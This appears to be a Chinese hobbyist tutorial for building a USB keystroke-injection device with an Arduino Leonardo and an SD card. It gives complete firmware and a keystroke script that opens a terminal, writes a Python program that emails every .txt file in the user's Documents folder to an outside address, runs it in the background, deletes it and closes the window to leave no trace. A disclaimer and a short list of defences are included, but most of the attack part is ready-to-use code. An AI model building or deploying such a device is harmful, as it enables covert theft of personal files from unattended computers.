防范 USB HID 攻击:Arduino Leonardo 键盘模拟演示
零部件与物料
| Arduino Leonardo | ×1 |
| Micro SD 卡读卡器 | ×1 |
| Micro SD 卡 | ×1 |
| 三脚按键(含电阻) | ×1 |
| 跳线(公对母/母对母) | 若干 |
| USB-A 转 Micro-USB 线 | ×1 |
项目简介
本项目演示利用 Arduino Leonardo 的 HID(人机接口设备)特性模拟键盘,实现物理 USB 攻击原理。**仅用于安全研究与防护教育,严禁非法用途。**
学习目标
- Leonardo 模拟键盘/鼠标
- 读取 SD 卡数据
- 编写 Python 脚本扫描文件并发送邮件
- 了解 USB HID 攻击防范措施
步骤 1:材料准备
同上表。
步骤 2:设备组装
工作原理
Leonardo 可枚举为键盘/鼠标。按下按键后,从 SD 卡读取预置指令脚本 (hack.txt),逐行解析并模拟按键。演示场景为 Ubuntu Linux:打开终端 (Ctrl+Alt+T),创建 Python 脚本 (vi hack.py),写入收集 ~/Documents 下所有 .txt 文件并通过 Gmail 发送的代码,后台运行并删除脚本,最后关闭终端 (Alt+F4)。全程几秒钟,无痕迹。
接线说明
- 按键:VCC→5V, GND→GND, 信号→D8
- SD 卡读卡器通过 ICSP 排针连接 SPI:MISO→ICSP-1, MOSI→ICSP-4, SCK→ICSP-3, CS→D10
- Leonardo 通过 Micro-USB 连接目标主机
固件关键逻辑
setup()初始化按键、串口、键盘库、SD 卡loop()检测按键上升沿,触发sdFileToKeyboard()- 脚本解析支持三种行格式:
- 纯文本 → 直接
Keyboard.println() Sleep::<ms>→ 延时Command::KEY_...,KEY_...,key→ 组合键按下/释放
- 纯文本 → 直接
步骤 3:详细攻击流程
hack.txt 示例内容:
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib, glob, os ...
sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), "Documents")))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4
需修改脚本中的 smtp_user, smtp_pass, to_address。
步骤 4:防范对策
- 禁用或限制 USB 端口(Windows 组策略/注册表)
- USB 设备白名单管理
- 离席锁屏 (Win+L / Ctrl+Alt+Del)
- 非 root/管理员运行,安装软件需密码
- 保持系统与安全补丁自动更新
完整固件代码
#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"
String filenameOnCard = "hack.txt";
String sleepCmd = "Sleep::";
String cmdPrefix = "Command::";
int delayMs = 10;
const int btnPin = 8, csPin = 10;
int lastBtn = HIGH;
void setup() {
pinMode(btnPin, INPUT);
Serial.begin(9600);
Keyboard.begin();
if (!SD.begin(csPin)) { Serial.println("SD init failed"); return; }
}
void loop() {
int state = digitalRead(btnPin);
if (state != lastBtn && state == HIGH) {
sdFileToKeyboard();
Serial.println("Uploaded!");
delay(500);
}
lastBtn = state;
}
void sdFileToKeyboard() {
File f = SD.open(filenameOnCard);
if (!f) { Serial.println("File not found"); return; }
while (f.available()) {
String line = f.readStringUntil('\n');
sendToKeyboard(line);
}
f.close();
}
void sendToKeyboard(String line) {
if (line.indexOf(sleepCmd) != -1) { sleepFor(line); return; }
if (line.indexOf(cmdPrefix) == -1) {
Keyboard.println(line); pressEnter(); return;
}
// 解析 Command::KEY_A,KEY_B,key
int pos = cmdPrefix.length();
line += ",";
while (line.length() > pos) {
line = line.substring(pos);
int comma = line.indexOf(",");
String cmd = line.substring(0, comma);
pos = comma + 1;
if (cmd.length()) {
Keyboard.press(getKeyCode(cmd));
delay(delayMs);
}
}
Keyboard.releaseAll();
delay(delayMs);
}
void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); }
void sleepFor(String line) {
int ms = line.substring(sleepCmd.length()).toInt();
delay(ms);
}
char getKeyCode(String txt) {
if (txt == "KEY_LEFT_CTRL") return KEY_LEFT_CTRL;
if (txt == "KEY_LEFT_SHIFT") return KEY_LEFT_SHIFT;
if (txt == "KEY_LEFT_ALT") return KEY_LEFT_ALT;
if (txt == "KEY_UP_ARROW") return KEY_UP_ARROW;
if (txt == "KEY_DOWN_ARROW") return KEY_DOWN_ARROW;
if (txt == "KEY_LEFT_ARROW") return KEY_LEFT_ARROW;
if (txt == "KEY_RIGHT_ARROW") return KEY_RIGHT_ARROW;
if (txt == "KEY_RIGHT_GUI") return KEY_RIGHT_GUI;
if (txt == "KEY_BACKSPACE") return KEY_BACKSPACE;
if (txt == "KEY_TAB") return KEY_TAB;
if (txt == "KEY_RETURN") return KEY_RETURN;
if (txt == "KEY_ESC") return KEY_ESC;
if (txt == "KEY_INSERT") return KEY_INSERT;
if (txt == "KEY_DELETE") return KEY_DELETE;
if (txt == "KEY_PAGE_UP") return KEY_PAGE_UP;
if (txt == "KEY_PAGE_DOWN") return KEY_PAGE_DOWN;
if (txt == "KEY_HOME") return KEY_HOME;
if (txt == "KEY_END") return KEY_END;
if (txt == "KEY_CAPS_LOCK") return KEY_CAPS_LOCK;
for (int i=1; i<=12; i++) if (txt == "KEY_F"+String(i)) return (KeyboardKeycode)(KEY_F1 + i - 1);
return txt.charAt(0);
}
原理图
Fritzing 原理图展示 Leonardo、按键、SD 卡读卡器 (ICSP 接法) 连接。
制造工艺
- Arduino UNO 驱动 16x2 LCD 实现动画与小游戏
- Arduino 与智能手机打造智能电压表——简单易做的 DIY 项目
- Arduino + DHT11 + 以太网盾板温湿度数据记录仪
- 将 MIDI 键盘变身智能钢琴导师:Arduino + LED 灯带 + MuseScore
- Python 3 控制 Arduino UNO - 串口通信点亮内置 LED 入门教程
- Arduino Nano 驱动 128x64 OLED 实时运行康威生命游戏 (元胞自动机)
- 使用 Arduino Nano 和 RDA8057M 制作紧凑型 FM 收音机
- 基于 Arduino 与 Google Sheets 的实时 RFID 考勤系统
- Arduino 64 键原型键盘矩阵:用移位寄存器打造全自定义键盘
- Arduino DIY 计算器:1602 LCD + 4×4 矩阵键盘完整教程
- IoT 集成:基于 Windows 10 UWP 应用的 Arduino 远程控制
- MKR1000 接入 Azure IoT:DHT22 温湿度实时上云监控